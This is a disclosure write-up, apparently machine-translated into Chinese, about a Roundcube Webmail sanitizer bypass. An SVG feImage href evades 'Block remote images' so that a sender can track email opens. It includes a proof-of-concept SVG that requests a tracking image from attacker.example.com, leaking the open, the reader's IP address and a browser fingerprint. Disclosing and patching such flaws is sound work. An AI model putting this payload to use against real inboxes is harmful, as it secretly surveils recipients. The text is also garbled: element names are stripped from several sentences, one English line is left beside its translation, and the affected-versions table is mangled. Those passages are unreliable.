Roundcube Webmail:SVG feImage 绕过图像阻止以跟踪邮件打开
Source: Hacker News
TL;DR
Roundcube 的 rcube_washtml 清理器阻止了在 、 和 中的外部资源,但在 中未阻止。它的 href 走了错误的代码路径,因而被允许。攻击者即使在“阻止远程图像”开启的情况下,也能追踪邮件打开情况。已在 1.5.13 和 1.6.13 中修复。
漏洞信息
| 字段 | 值 |
|---|---|
| 供应商 | Roundcube |
| 产品 | Roundcube Webmail |
| 受影响的版本 | , `href` on and “) and runs them through is_image_attribute(). That function blocks external URLs. |
发现
我在圣诞假期感到无聊,随后注意到一个通过 animate 标签的基于 SVG 的 XSS 修复。SVG‑based XSS fix via the animate tag 出现在我的雷达上。一个 SVG 漏洞通常意味着更多。1 我花了几小时审查 rcube_washtml.php,检查哪些 SVG 元素在白名单上以及它们的属性是如何被清理的。
stood out.[^2] Its `href` gets fetched on render, same as ``. But the sanitizer sends it through `wash_link()` instead of `is_image_attribute()`. Consequently, the “Block remote images” setting doesn’t apply to it.
脱颖而出。[^2] 它的 `href` 在渲染时会被获取,和 `` 一样。但清理器将其通过 `wash_link()` 而不是 `is_image_attribute()` 处理。因此,“阻止远程图像”设置对它不起作用。
技术细节
在 wash_attribs() 中,每个属性都会经过一系列检查。第一个匹配的检查即为最终结果:
if ($this->is_image_attribute($node->nodeName, $key)) {
$out = $this->wash_uri($value, true); // 阻止远程 URL
} elseif ($this->is_link_attribute($node->nodeName, $key)) {
$out = $this->wash_link($value); // 允许 http/https
}
is_image_attribute()(前缀)
private function is_image_attribute($tag, $attr)
{
return $attr == 'background'
|| $attr == 'color-profile'
|| ($attr == 'poster' && $tag == 'video')
|| ($attr == 'src' && preg_match('/^(img|image|source|input|video|audio)$/i', $tag))
|| ($tag == 'use' && $attr == 'href')
|| ($tag == 'image' && $attr == 'href');
}
href 属性仅在 use 和 image 元素上匹配。feimage 不匹配。
is_link_attribute()
private function is_link_attribute($tag, $attr)
{
return $attr === 'href';
}
因此,对于 “:
is_image_attribute('feimage', 'href')→ falseis_link_attribute('feimage', 'href')→ true
该 URL 将由 wash_link() 处理,而 wash_link() 会直接放行 HTTP/HTTPS URL。
概念验证
<svg width="0" height="0" style="position:absolute; left:-9999px;">
<filter id="track">
<feImage href="https://attacker.example.com/track.png" />
</filter>
<rect width="1" height="1" filter="url(#track)" />
</svg>
渲染时,浏览器会评估 SVG 过滤器并向攻击者控制的 URL 发起 GET 请求,从而泄露邮件已被打开。
Impact
“阻止远程图像”设置并未阻止此远程图像。攻击者可以确认收件人打开了电子邮件,记录他们的 IP 地址,并指纹浏览器。
修复措施
此修复(26d7677)将单独的 use/image 检查合并为一个正则表达式,同时也包括 feimage:
|| ($attr == 'href' && preg_match('/^(feimage|image|use)$/i', $tag)); // SVG
现在 “ 匹配 is_image_attribute(),通过 wash_uri() 进行处理,远程 URL 被阻止。
操作: 更新至 Roundcube 1.5.13 或 1.6.13(或更高版本)。
时间线
| 日期 | 事件 |
|---|---|
| 2026‑01‑04 | 报告给 Roundcube |
| 2026‑02‑08 | 发布 1.5.13 和 1.6.13 |
| 2026‑02‑08 | 此帖已发布 |
脚注
Footnotes
-
SVG 规范庞大,大多数清理器只处理常见元素。每当有一个 SVG 标签漏掉时,通常同一允许列表中还有其他未检查的标签。 ↩